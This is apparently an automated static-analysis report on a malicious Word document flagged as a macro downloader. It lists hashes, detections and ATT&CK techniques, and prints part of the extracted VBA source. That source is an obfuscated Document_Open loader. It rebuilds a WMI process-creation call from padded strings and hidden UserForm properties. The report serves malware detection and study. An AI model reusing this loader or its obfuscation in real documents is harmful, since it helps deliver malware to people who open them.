Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2cd9bcfce5536478…

MALICIOUS

Office (OLE)

226.7 KB Created: 2020-08-17 06:26:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 10930d127ad1f52d7c3140f0accf8a5d SHA-1: d89f98f1ffb7d47b063033aa3021a89802a2b22e SHA-256: 2cd9bcfce55364789c0b67aa534997d756e2b19e4dcff310e1b6dda1e1b307e1
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro that utilizes a hidden UserForm to execute code. This is a common technique for downloading and executing further malicious payloads. The ClamAV detection 'Doc.Downloader.Generic-9369660-0' further supports this assessment.

Heuristics 7

  • ClamAV: Doc.Downloader.Generic-9369660-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-9369660-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9692 bytes
SHA-256: ecb76ad29abac0d35ce331ad6e04a22e41e1987acc5ccfdd74d52bfc590ecb52
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "O95907y_7mfhjz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Rte0e47ntpjr50.Jtzhft75oe_tq_e
End Sub


Attribute VB_Name = "Rte0e47ntpjr50"
Attribute VB_Base = "0{D44DF544-3927-495C-B80E-59BB4C0CB8D9}{9F91D521-2E73-44E6-A1BA-6957FE7D674D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Jtzhft75oe_tq_e()
   If 791639 <> 777579 Then
T65ntpcsw5x = 791639 + 1989
Ydfzq670hie5to = 777579 - 2013
Else
InputBox (CStr(T65ntpcsw5x) & CStr(Ydfzq670hie5to))
End If
Ydfzq670hie5to = "KAjamLNcTV"
C9ckx87q_f8quou = 623691
Mwstuqd_y3xfgj = Mwstuqd_y3xfgj & CStr(C9ckx87q_f8quou)
Mn369my0lrxo8h = Mwstuqd_y3xfgj
Lb7e6484ito03antj = Rte0e47ntpjr50.HelpContextId + 100
   If 791639 <> 777579 Then
T65ntpcsw5x = 791639 + 1989
Ydfzq670hie5to = 777579 - 2013
Else
InputBox (CStr(T65ntpcsw5x) & CStr(Ydfzq670hie5to))
End If
Ydfzq670hie5to = "KAjamLNcTV"
C9ckx87q_f8quou = 623691
Mwstuqd_y3xfgj = Mwstuqd_y3xfgj & CStr(C9ckx87q_f8quou)
Mn369my0lrxo8h = Mwstuqd_y3xfgj
Erzdwb8eajbddgzd = ChrW(Lb7e6484ito03antj + (100 + 35) / 9)
   If 791639 <> 777579 Then
T65ntpcsw5x = 791639 + 1989
Ydfzq670hie5to = 777579 - 2013
Else
InputBox (CStr(T65ntpcsw5x) & CStr(Ydfzq670hie5to))
End If
Ydfzq670hie5to = "KAjamLNcTV"
C9ckx87q_f8quou = 623691
Mwstuqd_y3xfgj = Mwstuqd_y3xfgj & CStr(C9ckx87q_f8quou)
Mn369my0lrxo8h = Mwstuqd_y3xfgj
Fmcncdqocj65xdq = "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2si8[2[23bjgas ooo82&jhsb uqgw[[[ww2snm8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sgm8[2[23bjgas ooo82&jhsb uqgw[[[ww2st8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + Erzdwb8eajbddgzd + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s:8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2sin8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s38[2[23bjgas ooo82&jhsb uqgw[[[ww2s28[2[23bjgas ooo82&jhsb uqgw[[[ww2s_8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + Rte0e47ntpjr50.T98s0sj5odgs1mte + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2sro8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sce8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2s"
   If 791639 <> 777579 Then
T65ntpcsw5x = 791639 + 1989
Ydfzq670hie5to = 777579 - 2013
Else
InputBox (CStr(T65ntpcsw5x) & CStr(Ydfzq670hie5to))
End If
Ydfzq670hie5to = "KAjamLNcTV"
C9ckx87q_f8quou = 623691
Mwstuqd_y3xfgj = Mwstuqd_y3xfgj & CStr(C9ckx87q_f8quou)
Mn369my0lrxo8h = Mwstuqd_y3xfgj
G6no7qh17x5fde = N_fo8jue0_x(Fmcncdqocj65xdq)
   If 791639 <> 777579 Then
T65ntpcsw5x = 791639 + 1989
Ydfzq670hie5to = 777579 - 2013
Else
InputBox (CStr(T65ntpcsw5x) & CStr(Ydfzq670hie5to))
End If
Ydfzq670hie5to = "KAjamLNcTV"
C9ckx87q_f8quou = 623691
Mwstuqd_y3xfgj = Mwstuqd_y3xfgj & CStr(C9ckx87q_f8quou)
Mn369my0lrxo8h = Mwstuqd_y3xfgj
Set Tj65mf9cgo4xjrcj = CreateObject(G6no7qh17x5fde)
   If 791639 <> 777579 Then
T65ntpcsw5x = 791639 + 1989
Ydfzq670hie5to = 777579 - 2013
Else
InputBox (CStr(T65ntpcsw5x) & CStr(Ydfzq670hie5to))
End If
Ydfzq670hie5to = "KAjamLNcTV"
C9ckx87q_f8quou = 623691
Mwstuqd_y3xfgj = Mwstuqd_y3xfgj & CStr(C9ckx87q_f8quou)
Mn369my0lrxo8h = Mwstuqd_y3xfgj
Sobcdu4l06p0 = Rte0e47ntpjr50.Bfxnt2qap2w31d.ControlTipText
   If 791639 <> 777579 Then
T65ntpcsw5x = 791639 + 1989
Ydfzq670hie5to = 777579 - 2013
Else
InputBox (CStr(T65ntpcsw5x) & CStr(Ydfzq670hie5to))
End If
Ydfzq670hie5to = "KAjamLNcTV"
C9ckx87q_f8quou = 623691
Mwstuqd_y3xfgj = Mwstuqd_y3xfgj & CStr(C9ckx87q_f8quou)
Mn369my0lrxo8h = Mwstuqd_y3xfgj
W0_nn494crovwx745t = Slcqjmw1oy
... (truncated)